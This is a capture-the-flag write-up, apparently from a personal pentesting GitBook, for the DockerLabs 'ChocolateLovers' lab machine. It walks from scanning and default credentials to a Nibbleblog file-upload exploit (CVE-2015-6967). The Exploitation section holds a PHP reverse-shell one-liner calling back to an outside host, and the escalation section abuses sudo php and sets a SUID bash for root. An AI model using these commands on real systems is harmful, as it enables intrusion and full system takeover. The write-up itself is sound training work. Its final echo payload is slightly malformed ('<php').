> For the complete documentation index, see [llms.txt](https://itszaiden.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itszaiden.gitbook.io/pentesting/writeups/dockerlabs/easy/chocolatelovers.md).

# ChocolateLovers

## 1 - Reconnaissance

We begin with a fast Nmap scan to identify open ports:

`nmap 172.17.0.2 -p- --open -sS -Pn --min-rate 5000 -T5`

**Result: port 80 is open**

## 2 - Enumeration

Now we run a service/version detection scan, targeting only the open ports we found on the previous scan:

`nmap 172.17.0.2 -p 80 -sS -Pn -sCV`

<figure><img src="/files/Bt8zzDRrNhbqR81UWXJo" alt=""><figcaption><p>(ChocolateLovers) Targeted Port Scan</p></figcaption></figure>

After checking with `searchsploit Apache httpd 2.4.41` we found nothing, so we start exploring the website.

We just found a default Apache2 Ubuntu Default Page, so there is nothing we can do here. We proceed to enumerate directories with:

```
ffuf -u http://172.17.0.2/FUZZ -w /usr/share/wordlists/dirb/big.txt
```

We didn't find any useful directories, so we proceed to read the source code to check if there are any exposed credentials or hints we could follow.

<figure><img src="/files/RYcFLM0ERtXirkdN9eSV" alt=""><figcaption><p>(ChocolateLovers) Exposed Route</p></figcaption></figure>

As we can see, there is an exposed route, `/nibbleblog`, so we will follow it to get more information. We found a post exposing this route: `http://172.17.0.2/nibbleblog/admin.php`, and after following it and trying `admin admin` credentials, we're inside the admin panel.

## 3 - Exploitation

The plugin My Image is installed, so all we have to do is upload a .php reverse shell, ignoring the errors, and setup a netcat listener so we can catch it. We will use:

```
php -r '$sock=fsockopen("172.17.0.1",3110);exec("/bin/sh -i <&3 >&3 2>&3");'

nc -lvnp 3110
```

After uploading the fake image containing the reverse shell, we will spawn it browsing `content/private/plugins/my_image/image.php`. We know this thanks to CVE-2015-6967, which is related to an unrestricted file upload allowing RCE.

## 4 - Privilege Escalation

We can't upgrade it to a fully interactive terminal since it's not running Python, so we have to continue with this one. Running `sudo -l` we know that user `www-data` can run `/usr/bin/php` as user `chocolate`, so looking into gtfobins we got this:

```
CMD="/bin/sh"
sudo -u chocolate php -r "system('$CMD');"
```

Now, browsing the machine, we discovered that there is a process running by root, using /opt/script.php which is owned by chocolate, so we can modify it.

<figure><img src="/files/eGwL1PS97tGTZGjUA9Mq" alt=""><figcaption><p>(ChocolateLovers) Root Script</p></figcaption></figure>

After `echo '<php exec("chmod u+s /bin/bash"); ?>' > /opt/script.php` we wait for the script to be ran again, and after `/bin/bash -p` we have a root shell:

<figure><img src="/files/HCtC925UDF7U4NkpQooO" alt=""><figcaption><p>(ChocolateLovers) Root Shell</p></figcaption></figure>

## 5 - Summary

**Initial Access:**\
Discovered `/nibbleblog` from the website source code and accessed the admin panel with default credentials (`admin:admin`).

**Exploitation:**\
Exploited CVE-2015-6967 (unrestricted file upload in “My Image” plugin) to upload a PHP reverse shell and gain RCE.

**Privilege Escalation:**\
Abused sudo rights of `www-data` to run PHP as `chocolate`, then modified a root-executed script in `/opt/script.php` to set SUID on `/bin/bash`, resulting in a root shell.